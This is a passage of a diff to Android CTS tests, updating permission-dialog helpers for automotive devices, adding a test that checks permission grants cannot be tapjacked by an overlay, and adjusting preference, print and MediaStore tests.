+        if (isAutomotive) {
+            click(By.text(getPermissionControllerString(DENY_AND_DONT_ASK_AGAIN_BUTTON_TEXT)))
+        } else {
+            click(By.res(DENY_AND_DONT_ASK_AGAIN_BUTTON))
+        }
+    }
 
+    // Only used in TV and Watch form factors
     protected fun clickPermissionRequestDontAskAgainButton() =
         click(By.res("com.android.permissioncontroller:id/permission_deny_dont_ask_again_button"))
 
-    protected fun clickPermissionRequestNoUpgradeButton() =
-        click(By.res("com.android.permissioncontroller:id/permission_no_upgrade_button"))
-
-    protected fun clickPermissionRequestNoUpgradeAndDontAskAgainButton() = click(
-        By.res(
-            "com.android.permissioncontroller:id/permission_no_upgrade_and_dont_ask_again_button"
-        )
-    )
+    protected fun clickPermissionRequestNoUpgradeAndDontAskAgainButton() {
+        if (isAutomotive) {
+            click(By.text(getPermissionControllerString(NO_UPGRADE_AND_DONT_ASK_AGAIN_BUTTON_TEXT)))
+        } else {
+            click(By.res(NO_UPGRADE_AND_DONT_ASK_AGAIN_BUTTON))
+        }
+    }
 
     protected fun grantAppPermissions(vararg permissions: String, targetSdk: Int = 30) {
         setAppPermissionState(*permissions, state = PermissionState.ALLOWED, isLegacyApp = false,
@@ -381,6 +466,10 @@
             }
             val wasGranted = if (isTv) {
                 false
+            } else if (isAutomotive) {
+                // Automotive doesn't support one time permissions, and thus
+                // won't show an "Ask every time" message
+                !waitFindObject(byTextRes(R.string.deny)).isChecked
             } else {
                 !(waitFindObject(byTextRes(R.string.deny)).isChecked ||
                     (!isLegacyApp && hasAskButton(permission) &&
@@ -392,24 +481,34 @@
             } else {
                 val button = waitFindObject(
                     byTextRes(
-                        when (state) {
-                            PermissionState.ALLOWED ->
-                                if (showsForegroundOnlyButton(permission)) {
-                                    R.string.allow_foreground
-                                } else if (isMediaStorageButton(permission, targetSdk)) {
-                                    R.string.allow_media_storage
-                                } else if (isAllStorageButton(permission, targetSdk)) {
-                                    R.string.allow_external_storage
-                                } else {
-                                    R.string.allow
-                                }
-                            PermissionState.DENIED ->
-                                if (!isLegacyApp && hasAskButton(permission)) {
-                                    R.string.ask
-                                } else {
-                                    R.string.deny
-                                }
-                            PermissionState.DENIED_WITH_PREJUDICE -> R.string.deny
+                        if (isAutomotive) {
+                            // Automotive doesn't support one time permissions, and thus
+                            // won't show an "Ask every time" message
+                            when (state) {
+                                PermissionState.ALLOWED -> R.string.allow
+                                PermissionState.DENIED -> R.string.deny
+                                PermissionState.DENIED_WITH_PREJUDICE -> R.string.deny
+                            }
+                        } else {
+                            when (state) {
+                                PermissionState.ALLOWED ->
+                                    if (showsForegroundOnlyButton(permission)) {
+                                        R.string.allow_foreground
+                                    } else if (isMediaStorageButton(permission, targetSdk)) {
+                                        R.string.allow_media_storage
+                                    } else if (isAllStorageButton(permission, targetSdk)) {
+                                        R.string.allow_external_storage
+                                    } else {
+                                        R.string.allow
+                                    }
+                                PermissionState.DENIED ->
+                                    if (!isLegacyApp && hasAskButton(permission)) {
+                                        R.string.ask
+                                    } else {
+                                        R.string.deny
+                                    }
+                                PermissionState.DENIED_WITH_PREJUDICE -> R.string.deny
+                            }
                         }
                     )
                 )
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionReviewTest.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionReviewTest.kt
index 5b67e6a..f0b1f80 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionReviewTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionReviewTest.kt
@@ -109,10 +109,14 @@
     @Test
     fun testReviewPermissionWhenServiceIsBound() {
         val results = LinkedBlockingQueue<Int>()
-        activityRule.launchActivity(null).startService(
+        // We are starting a activity instead of the service directly, because
+        // the service comes from a different app than the CTS tests.
+        // This app will be considered idle on devices that have idling enabled (automotive),
+        // and the service wouldn't be allowed to be started without the activity.
+        activityRule.launchActivity(null).startActivity(
             Intent().apply {
                 component = ComponentName(
-                    APP_PACKAGE_NAME, "$APP_PACKAGE_NAME.CheckPermissionService"
+                    APP_PACKAGE_NAME, "$APP_PACKAGE_NAME.StartCheckPermissionServiceActivity"
                 )
                 putExtra(
                     "$APP_PACKAGE_NAME.RESULT",
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt
new file mode 100644
index 0000000..a5f8939
--- /dev/null
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt
@@ -0,0 +1,67 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission3.cts
+
+import android.Manifest.permission.ACCESS_FINE_LOCATION
+import android.content.pm.PackageManager
+import android.support.test.uiautomator.By
+import com.android.compatibility.common.util.SystemUtil
+import org.junit.Assume.assumeFalse
+import org.junit.Before
+import org.junit.Test
+
+/**
+ * Tests permissions can't be tapjacked
+ */
+class PermissionTapjackingTest : BaseUsePermissionTest() {
+
+    @Before
+    fun installAppLatest() {
+        installPackage(APP_APK_PATH_WITH_OVERLAY)
+    }
+
+    @Test
+    fun testTapjackGrantDialog() {
+        // PermissionController for television uses a floating window.
+        assumeFalse(isTv)
+
+        assertAppHasPermission(ACCESS_FINE_LOCATION, false)
+        requestAppPermissionsForNoResult(ACCESS_FINE_LOCATION) {}
+
+        // Wait for overlay to hide the dialog
+        waitFindObject(By.res("android.permission3.cts.usepermission:id/overlay_description"))
+        try {
+            // Try to grant the permission, this should fail
+            SystemUtil.eventually({
+                if (packageManager.checkPermission(ACCESS_FINE_LOCATION, APP_PACKAGE_NAME) ==
+                        PackageManager.PERMISSION_DENIED) {
+                    clickPermissionRequestAllowForegroundButton(100)
+                }
+                assertAppHasPermission(ACCESS_FINE_LOCATION, true)
+            }, 10000)
+        } catch (e: RuntimeException) {
+            // expected
+        }
+        // Permission should not be granted and dialog should still be showing
+        assertAppHasPermission(ACCESS_FINE_LOCATION, false)
+
+        // On Automotive the dialog gets closed by the tapjacking activity popping up
+        if (!isAutomotive) {
+            clickPermissionRequestAllowForegroundButton()
+        }
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionTest29.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionTest29.kt
index e5a5ede..5d13748 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionTest29.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionTest29.kt
@@ -161,7 +161,11 @@
         clickPermissionRequestSettingsLink()
         eventually {
             pressBack()
-            waitFindObject(By.res("com.android.permissioncontroller:id/grant_dialog"), 100)
+            if (isAutomotive) {
+                waitFindObject(By.textContains("Allow in settings."), 100)
+            } else {
+                waitFindObject(By.res("com.android.permissioncontroller:id/grant_dialog"), 100)
+            }
         }
     }
 
@@ -181,8 +185,9 @@
             android.Manifest.permission.ACCESS_BACKGROUND_LOCATION
         ) {
             clickPermissionRequestSettingsLinkAndDeny()
+            waitForIdle()
+            pressBack()
         }
-        pressBack()
 
         assertAppHasPermission(android.Manifest.permission.ACCESS_FINE_LOCATION, false)
         assertAppHasPermission(android.Manifest.permission.ACCESS_BACKGROUND_LOCATION, false)
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionTest30.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionTest30.kt
index 0abae86..1272355 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionTest30.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionTest30.kt
@@ -49,6 +49,7 @@
 
         requestAppPermissionsAndAssertResult(ACCESS_BACKGROUND_LOCATION to true) {
             clickAllowAlwaysInSettings()
+            waitForIdle()
             pressBack()
         }
     }
diff --git a/tests/tests/preference/src/android/preference/cts/PreferenceActivityFlowLandscapeTest.java b/tests/tests/preference/src/android/preference/cts/PreferenceActivityFlowLandscapeTest.java
index 4f0bc3e..0c9a60c 100644
--- a/tests/tests/preference/src/android/preference/cts/PreferenceActivityFlowLandscapeTest.java
+++ b/tests/tests/preference/src/android/preference/cts/PreferenceActivityFlowLandscapeTest.java
@@ -42,7 +42,9 @@
     @Before
     public void setup() {
         requireLandscapeModeSupport();
-        mTestUtils = new TestUtils();
+        mActivity = launchActivity(null);
+        mTestUtils = new TestUtils(mActivityRule);
+        mActivity.finish();
     }
 
     /**
diff --git a/tests/tests/preference/src/android/preference/cts/PreferenceActivityFlowPortraitTest.java b/tests/tests/preference/src/android/preference/cts/PreferenceActivityFlowPortraitTest.java
index 155b799..8500425 100644
--- a/tests/tests/preference/src/android/preference/cts/PreferenceActivityFlowPortraitTest.java
+++ b/tests/tests/preference/src/android/preference/cts/PreferenceActivityFlowPortraitTest.java
@@ -41,7 +41,9 @@
     @Before
     public void setup() {
         requirePortraitModeSupport();
-        mTestUtils = new TestUtils();
+        mActivity = launchActivity(null);
+        mTestUtils = new TestUtils(mActivityRule);
+        mActivity.finish();
     }
 
     /**
diff --git a/tests/tests/preference/src/android/preference/cts/PreferenceActivityLegacyFlowTest.java b/tests/tests/preference/src/android/preference/cts/PreferenceActivityLegacyFlowTest.java
index e70a34b..ba6182a 100644
--- a/tests/tests/preference/src/android/preference/cts/PreferenceActivityLegacyFlowTest.java
+++ b/tests/tests/preference/src/android/preference/cts/PreferenceActivityLegacyFlowTest.java
@@ -52,7 +52,7 @@
 
     @Before
     public void setup() {
-        mTestUtils = new TestUtils();
+        mTestUtils = new TestUtils(mActivityRule);
         mActivity = mActivityRule.getActivity();
     }
 
diff --git a/tests/tests/preference/src/android/preference/cts/TestUtils.java b/tests/tests/preference/src/android/preference/cts/TestUtils.java
index d15d99f..30bd9fc 100644
--- a/tests/tests/preference/src/android/preference/cts/TestUtils.java
+++ b/tests/tests/preference/src/android/preference/cts/TestUtils.java
@@ -22,6 +22,7 @@
 import android.content.Context;
 import android.content.res.Configuration;
 import android.graphics.Bitmap;
+import android.graphics.Rect;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiObject2;
@@ -29,8 +30,12 @@
 import android.support.test.uiautomator.UiScrollable;
 import android.support.test.uiautomator.UiSelector;
 import android.support.test.uiautomator.Until;
+import android.util.DisplayMetrics;
+import android.view.Display;
+import android.view.Window;
 
 import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
 
 /**
  * Collection of helper utils for testing preferences.
@@ -45,13 +50,17 @@
     private final UiAutomation mAutomation;
     private int mStatusBarHeight = -1;
     private int mNavigationBarHeight = -1;
+    private Display mDisplay;
+    private Window mWindow;
 
-    TestUtils() {
+    TestUtils(ActivityTestRule<?> rule) {
         mInstrumentation = InstrumentationRegistry.getInstrumentation();
         mContext = mInstrumentation.getTargetContext();
         mPackageName = mContext.getPackageName();
         mDevice = UiDevice.getInstance(mInstrumentation);
         mAutomation = mInstrumentation.getUiAutomation();
+        mDisplay = rule.getActivity().getDisplay();
+        mWindow = rule.getActivity().getWindow();
     }
 
     void waitForIdle() {
@@ -75,7 +84,7 @@
         int xToCut = isOnWatchUiMode() ? bt.getWidth() / 5 : bt.getWidth() / 20;
         int yToCut = statusBarHeight;
 
-        if (isLandscape()) {
+        if (hasVerticalNavBar()) {
             xToCut += navigationBarHeight;
         } else {
             yToCut += navigationBarHeight;
@@ -154,9 +163,12 @@
         return mNavigationBarHeight;
     }
 
-    private boolean isLandscape() {
-        return mInstrumentation.getTargetContext().getResources().getConfiguration().orientation
-            == Configuration.ORIENTATION_LANDSCAPE;
+    private boolean hasVerticalNavBar() {
+        Rect displayFrame = new Rect();
+        mWindow.getDecorView().getWindowVisibleDisplayFrame(displayFrame);
+        DisplayMetrics dm = new DisplayMetrics();
+        mDisplay.getRealMetrics(dm);
+        return dm.heightPixels == displayFrame.bottom;
     }
 
     private UiObject2 getTextObject(String text) {
diff --git a/tests/tests/print/src/android/print/cts/PrinterDiscoverySessionLifecycleTest.java b/tests/tests/print/src/android/print/cts/PrinterDiscoverySessionLifecycleTest.java
index d88c9a9..8025890 100644
--- a/tests/tests/print/src/android/print/cts/PrinterDiscoverySessionLifecycleTest.java
+++ b/tests/tests/print/src/android/print/cts/PrinterDiscoverySessionLifecycleTest.java
@@ -245,7 +245,7 @@
     public void normalLifecycle() throws Throwable {
         // Create the session callbacks that we will be checking.
         final PrinterDiscoverySessionCallbacks firstSessionCallbacks =
-                createFirstMockPrinterDiscoverySessionCallbacks();
+                createFirstMockPrinterDiscoverySessionCallbacks(false);
 
         // Create the service callbacks for the first print service.
         PrintServiceCallbacks firstServiceCallbacks = createMockPrintServiceCallbacks(
@@ -358,7 +358,7 @@
     public void cancelPrintServicesAlertDialog() throws Throwable {
         // Create the session callbacks that we will be checking.
         final PrinterDiscoverySessionCallbacks firstSessionCallbacks =
-                createFirstMockPrinterDiscoverySessionCallbacks();
+                createFirstMockPrinterDiscoverySessionCallbacks(false);
 
         // Create the service callbacks for the first print service.
         PrintServiceCallbacks firstServiceCallbacks = createMockPrintServiceCallbacks(
@@ -453,7 +453,7 @@
     public void startPrinterDiscoveryWithHistoricalPrinters() throws Throwable {
         // Create the session callbacks that we will be checking.
         final PrinterDiscoverySessionCallbacks firstSessionCallbacks =
-                createFirstMockPrinterDiscoverySessionCallbacks();
+                createFirstMockPrinterDiscoverySessionCallbacks(false);
 
         // Create the service callbacks for the first print service.
         PrintServiceCallbacks firstServiceCallbacks = createMockPrintServiceCallbacks(
@@ -516,6 +516,16 @@
             waitForAdapterFinishCallbackCalled();
         }, OPERATION_TIMEOUT_MILLIS * 2);
 
+        waitForPrinterDiscoverySessionDestroyCallbackCalled(1);
+
+        // Set up print service to immediately report the printers
+        final PrinterDiscoverySessionCallbacks firstSessionCallbacksWithPrinters =
+                createFirstMockPrinterDiscoverySessionCallbacks(true);
+        PrintServiceCallbacks firstServiceCallbacksWithPrinters = createMockPrintServiceCallbacks(
+                invocation -> firstSessionCallbacksWithPrinters,
+                invocation -> null, null);
+        FirstPrintService.setCallbacks(firstServiceCallbacksWithPrinters);
+
         // Now print again as we want to confirm that the start
         // printer discovery passes in the priority list.
         print(adapter);
@@ -530,14 +540,14 @@
         mPrintHelper.cancelPrinting();
 
         // Wait for all print jobs to be handled after which the is session destroyed.
-        waitForPrinterDiscoverySessionDestroyCallbackCalled(1);
+        waitForPrinterDiscoverySessionDestroyCallbackCalled(2);
 
         runOnMainThread(() -> assertTrue(sSession.isDestroyed()));
         runOnMainThread(() -> assertFalse(sSession.isPrinterDiscoveryStarted()));
         runOnMainThread(() -> assertEquals(0, sSession.getTrackedPrinters().size()));
 
         // Verify the expected calls.
-        InOrder inOrder = inOrder(firstSessionCallbacks);
+        InOrder inOrder = inOrder(firstSessionCallbacks, firstSessionCallbacksWithPrinters);
 
         // We start discovery with no printer history.
         List<PrinterId> priorityList = new ArrayList<>();
@@ -552,33 +562,26 @@
         inOrder.verify(firstSessionCallbacks).onStopPrinterStateTracking(
                 firstPrinterId);
 
-        // This is tricky. It is possible that the print activity was not
-        // destroyed (the platform delays destruction at convenient time as
-        // an optimization) and we get the same instance which means that
-        // the discovery session may not have been destroyed. We try the
-        // case with the activity being destroyed and if this fails the
-        // case with the activity brought to front.
+        inOrder.verify(firstSessionCallbacks).onStopPrinterDiscovery();
+        inOrder.verify(firstSessionCallbacks).onDestroy();
+
         priorityList.add(firstPrinterId);
-        try {
-            inOrder.verify(firstSessionCallbacks).onStartPrinterDiscovery(priorityList);
-        } catch (VerificationInOrderFailure error) {
-            inOrder.verify(firstSessionCallbacks).onValidatePrinters(priorityList);
-        }
+        inOrder.verify(firstSessionCallbacksWithPrinters).onStartPrinterDiscovery(priorityList);
 
         // The system selects the highest ranked historical printer.
-        inOrder.verify(firstSessionCallbacks).onStartPrinterStateTracking(
+        inOrder.verify(firstSessionCallbacksWithPrinters).onStartPrinterStateTracking(
                 firstPrinterId);
 
         // We canceled print so the first should not be tracked.
-        inOrder.verify(firstSessionCallbacks).onStopPrinterStateTracking(
+        inOrder.verify(firstSessionCallbacksWithPrinters).onStopPrinterStateTracking(
                 firstPrinterId);
 
 
         // Discovery is always stopped before the session is always destroyed.
-        inOrder.verify(firstSessionCallbacks).onStopPrinterDiscovery();
+        inOrder.verify(firstSessionCallbacksWithPrinters).onStopPrinterDiscovery();
 
         // ...last the session is destroyed.
-        inOrder.verify(firstSessionCallbacks).onDestroy();
+        inOrder.verify(firstSessionCallbacksWithPrinters).onDestroy();
     }
 
     @Test
@@ -676,7 +679,8 @@
         return createMockPrintServiceCallbacks(null, null, null);
     }
 
-    private PrinterDiscoverySessionCallbacks createFirstMockPrinterDiscoverySessionCallbacks() {
+    private PrinterDiscoverySessionCallbacks createFirstMockPrinterDiscoverySessionCallbacks(
+            boolean shouldAddPrinters) {
         return createMockPrinterDiscoverySessionCallbacks(invocation -> {
             // Get the session.
             sSession = ((PrinterDiscoverySessionCallbacks)
@@ -684,6 +688,11 @@
 
             assertTrue(sSession.isPrinterDiscoveryStarted());
 
+            if (shouldAddPrinters) {
+                addPrinter(FIRST_PRINTER_LOCAL_ID, false);
+                addPrinter(SECOND_PRINTER_LOCAL_ID, false);
+            }
+
             return null;
         }, invocation -> {
             assertFalse(sSession.isPrinterDiscoveryStarted());
diff --git a/tests/tests/provider/res/raw/moov-at-end-zero-len.mp4 b/tests/tests/provider/res/raw/moov-at-end-zero-len.mp4
new file mode 100644
index 0000000..5b307e2
--- /dev/null
+++ b/tests/tests/provider/res/raw/moov-at-end-zero-len.mp4
Binary files differ
diff --git a/tests/tests/provider/res/raw/moov-at-end.mp4 b/tests/tests/provider/res/raw/moov-at-end.mp4
new file mode 100644
index 0000000..cdf74b5
--- /dev/null
+++ b/tests/tests/provider/res/raw/moov-at-end.mp4
Binary files differ
diff --git a/tests/tests/provider/res/raw/testvideo_meta.mp4 b/tests/tests/provider/res/raw/testvideo_meta.mp4
index 8f04b40..e83c61d 100644
--- a/tests/tests/provider/res/raw/testvideo_meta.mp4
+++ b/tests/tests/provider/res/raw/testvideo_meta.mp4
Binary files differ
diff --git a/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java b/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java
index feeb87cb..942d4f4 100644
--- a/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java
+++ b/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java
@@ -22,8 +22,10 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
+import android.app.AppOpsManager;
 import android.app.UiAutomation;
 import android.content.Context;
+import android.content.pm.PackageManager;
 import android.content.res.AssetFileDescriptor;
 import android.database.Cursor;
 import android.graphics.Bitmap;
@@ -35,6 +37,7 @@
 import android.os.Environment;
 import android.os.FileUtils;
 import android.os.ParcelFileDescriptor;
+import android.os.Process;
 import android.os.UserManager;
 import android.os.storage.StorageManager;
 import android.os.storage.StorageVolume;
@@ -252,11 +255,21 @@
         if (userManager.isSystemUser() &&
                     FileUtils.contains(Environment.getStorageDirectory(), file)) {
             executeShellCommand("mkdir -p " + file.getParent());
+            waitUntilExists(file.getParentFile());
             try (AssetFileDescriptor afd = context.getResources().openRawResourceFd(resId)) {
                 final File source = ParcelFileDescriptor.getFile(afd.getFileDescriptor());
                 final long skip = afd.getStartOffset();
                 final long count = afd.getLength();
 
+                try {
+                    // Try to create the file as calling package so that calling package remains
+                    // as owner of the file.
+                    file.createNewFile();
+                } catch (IOException ignored) {
+                    // Apps can't create files in other app's private directories, but shell can. If
+                    // file creation fails, we ignore and let `dd` command create it instead.
+                }
+
                 executeShellCommand(String.format("dd bs=1 if=%s skip=%d count=%d of=%s",
                         source.getAbsolutePath(), skip, count, file.getAbsolutePath()));
 
@@ -471,4 +484,31 @@
             throw new IllegalArgumentException();
         }
     }
+
+    /** Revokes ACCESS_MEDIA_LOCATION from the test app */
+    public static void revokeMediaLocationPermission(Context context) throws Exception {
+        try {
+            InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                    .adoptShellPermissionIdentity("android.permission.MANAGE_APP_OPS_MODES",
+                            "android.permission.REVOKE_RUNTIME_PERMISSIONS");
+
+            // Revoking ACCESS_MEDIA_LOCATION permission will kill the test app.
+            // Deny access_media_permission App op to revoke this permission.
+            PackageManager packageManager = context.getPackageManager();
+            String packageName = context.getPackageName();
+            if (packageManager.checkPermission(android.Manifest.permission.ACCESS_MEDIA_LOCATION,
+                    packageName) == PackageManager.PERMISSION_GRANTED) {
+                context.getPackageManager().updatePermissionFlags(
+                        android.Manifest.permission.ACCESS_MEDIA_LOCATION, packageName,
+                        PackageManager.FLAG_PERMISSION_REVOKED_COMPAT,
+                        PackageManager.FLAG_PERMISSION_REVOKED_COMPAT, context.getUser());
+                context.getSystemService(AppOpsManager.class).setUidMode(
+                        "android:access_media_location", Process.myUid(),
+                        AppOpsManager.MODE_IGNORED);
+            }
+        } finally {
+            InstrumentationRegistry.getInstrumentation().getUiAutomation().
+                    dropShellPermissionIdentity();
+        }
+    }
 }
diff --git a/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java b/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
index 8a4619e..9d3755a 100644
--- a/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
+++ b/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
@@ -17,6 +17,7 @@
 package android.provider.cts;
 
 import static com.google.common.truth.Truth.assertThat;
+import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
 import android.content.Context;
@@ -89,6 +90,8 @@
         Intent settingsIntent = new Intent(android.provider.Settings.ACTION_SETTINGS);
         mSettingsPackage = packageManager.resolveActivity(settingsIntent,
                 PackageManager.MATCH_DEFAULT_ONLY).activityInfo.packageName;
+
+        assumeFalse("Skipping test: Auto does not support provider android.settings.panel", isCar());
     }
 
     @After
@@ -110,6 +113,7 @@
 
     @Test
     public void volumePanel_correctPackage() {
+        assumeTrue(mHasTouchScreen);
         launchVolumePanel();
 
         String currentPackage = mDevice.getCurrentPackageName();
@@ -181,6 +185,7 @@
 
     @Test
     public void volumePanel_doneClosesPanel() {
+        assumeTrue(mHasTouchScreen);
         // Launch panel
         launchVolumePanel();
         String currentPackage = mDevice.getCurrentPackageName();
@@ -262,13 +267,13 @@
 
     @Test
     public void volumePanel_seeMoreButton_launchesIntoSettings() {
+        assumeTrue(mHasTouchScreen);
         // Launch panel
         launchVolumePanel();
         String currentPackage = mDevice.getCurrentPackageName();
         assertThat(currentPackage).isEqualTo(mSettingsPackage);
 
         // Click the see more button
-        assumeTrue(mHasTouchScreen);
         pressSeeMore();
 
         // Assert that we're still in Settings, on a different page.
@@ -382,4 +387,9 @@
         mDevice.findObject(By.res(mSettingsPackage, RESOURCE_SEE_MORE)).click();
         mDevice.wait(Until.hasObject(By.pkg(mSettingsPackage).depth(0)), TIMEOUT);
     }
+
+    private boolean isCar() {
+        PackageManager pm = mContext.getPackageManager();
+        return pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+    }
 }
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStoreTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStoreTest.java
index 37ed546..0dae752 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStoreTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStoreTest.java
@@ -42,7 +42,6 @@
 import androidx.test.InstrumentationRegistry;
 
 import org.junit.After;
-import org.junit.Assume;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -158,8 +157,6 @@
 
     @Test
     public void testGetStorageVolume() throws Exception {
-        Assume.assumeFalse(MediaStore.VOLUME_EXTERNAL.equals(mVolumeName));
-
         final Uri uri = ProviderTestUtils.stageMedia(R.raw.volantis, mExternalImages);
 
         final StorageManager sm = mContext.getSystemService(StorageManager.class);
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_FilesTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_FilesTest.java
index fde4b91..aa5b1be 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_FilesTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_FilesTest.java
@@ -63,6 +63,7 @@
     private Context mContext;
     private ContentResolver mResolver;
 
+    private Uri mExternalAudio;
     private Uri mExternalImages;
     private Uri mExternalFiles;
 
@@ -80,6 +81,7 @@
         mResolver = mContext.getContentResolver();
 
         Log.d(TAG, "Using volume " + mVolumeName);
+        mExternalAudio = MediaStore.Audio.Media.getContentUri(mVolumeName);
         mExternalImages = MediaStore.Images.Media.getContentUri(mVolumeName);
         mExternalFiles = MediaStore.Files.getContentUri(mVolumeName);
     }
@@ -329,9 +331,9 @@
     @Test
     public void testInPlaceUpdate_mediaFileWithInvalidRelativePath() throws Exception {
         final File file = new File(ProviderTestUtils.stageDownloadDir(mVolumeName),
-                "test" + System.nanoTime() + ".jpg");
-        ProviderTestUtils.stageFile(R.raw.scenery, file);
-        Log.d(TAG, "Staged image file at " + file.getAbsolutePath());
+                "test" + System.nanoTime() + ".mp3");
+        ProviderTestUtils.stageFile(R.raw.testmp3, file);
+        Log.d(TAG, "Staged audio file at " + file.getAbsolutePath());
 
         // Since file is created by shell, package name in MediaStore database row for this file
         // will not be test app's package name. To treat the insert as upsert, package name in
@@ -342,19 +344,14 @@
 
         final ContentValues insertValues = new ContentValues();
         insertValues.put(MediaColumns.DATA, file.getAbsolutePath());
-        insertValues.put(MediaStore.Images.ImageColumns.DESCRIPTION, "Not a cat photo");
-        final Uri uri = mResolver.insert(mExternalImages, insertValues);
-        assertEquals(0, queryLong(uri, MediaStore.Images.ImageColumns.IS_PRIVATE));
-        assertStringColumn(uri, MediaStore.Images.ImageColumns.DESCRIPTION, "Not a cat photo");
+        insertValues.put(MediaStore.Audio.AudioColumns.BOOKMARK, 42L);
+        final Uri uri = mResolver.insert(mExternalAudio, insertValues);
+        assertEquals(42L, queryLong(uri, MediaStore.Audio.AudioColumns.BOOKMARK));
 
         final ContentValues updateValues = new ContentValues();
-        updateValues.put(FileColumns.MEDIA_TYPE, FileColumns.MEDIA_TYPE_IMAGE);
-        updateValues.put(FileColumns.MIME_TYPE, "image/jpeg");
-        updateValues.put(MediaStore.Images.ImageColumns.IS_PRIVATE, 1);
-        int updateRows = mResolver.update(uri, updateValues, null, null);
-        assertEquals(1, updateRows);
-        // Only interested in update not throwing exception. No need in checking whenever values
-        // were actually updates, as it is not in the scope of this test.
+        updateValues.put(MediaStore.Audio.AudioColumns.BOOKMARK, 43L);
+        assertEquals(1, mResolver.update(uri, updateValues, null, null));
+        assertEquals(43L, queryLong(uri, MediaStore.Audio.AudioColumns.BOOKMARK));
     }
 
     @Test
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java
index df47fac..1d18a8a 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java
@@ -25,12 +25,10 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
-import android.app.AppOpsManager;
 import android.content.ContentResolver;
 import android.content.ContentUris;
 import android.content.ContentValues;
 import android.content.Context;
-import android.content.pm.PackageManager;
 import android.database.Cursor;
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
@@ -40,7 +38,6 @@
 import android.os.Environment;
 import android.os.FileUtils;
 import android.os.ParcelFileDescriptor;
-import android.os.Process;
 import android.os.storage.StorageManager;
 import android.provider.BaseColumns;
 import android.provider.MediaStore;
@@ -300,8 +297,6 @@
      */
     @Test
     public void testUpdateAndReplace() throws Exception {
-        Assume.assumeFalse(mVolumeName.equals(MediaStore.VOLUME_EXTERNAL));
-
         File dir = mContext.getSystemService(StorageManager.class)
                 .getStorageVolume(mExternalImages).getDirectory();
         File dcimDir = new File(dir, Environment.DIRECTORY_DCIM);
@@ -339,8 +334,6 @@
 
     @Test
     public void testUpsert() throws Exception {
-        Assume.assumeFalse(mVolumeName.equals(MediaStore.VOLUME_EXTERNAL));
-
         File dir = mContext.getSystemService(StorageManager.class)
                 .getStorageVolume(mExternalImages).getDirectory();
         File dcimDir = new File(dir, Environment.DIRECTORY_DCIM);
@@ -395,30 +388,12 @@
         assertNotNull(mContentResolver.loadThumbnail(uri, new Size(96, 96), null));
     }
 
-    /**
-     * This test doesn't hold
-     * {@link android.Manifest.permission#ACCESS_MEDIA_LOCATION}, so Exif
-     * location information should be redacted.
-     */
     @Test
     public void testLocationRedaction() throws Exception {
         // STOPSHIP: remove this once isolated storage is always enabled
         Assume.assumeTrue(StorageManager.hasIsolatedStorage());
-
-        final String displayName = "cts" + System.nanoTime();
-        final PendingParams params = new PendingParams(
-                mExternalImages, displayName, "image/jpeg");
-
-        final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
-        final Uri publishUri;
-        try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
-            try (InputStream in = mContext.getResources().openRawResource(R.raw.lg_g4_iso_800_jpg);
-                 OutputStream out = session.openOutputStream()) {
-                android.os.FileUtils.copy(in, out);
-            }
-            publishUri = session.publish();
-        }
-
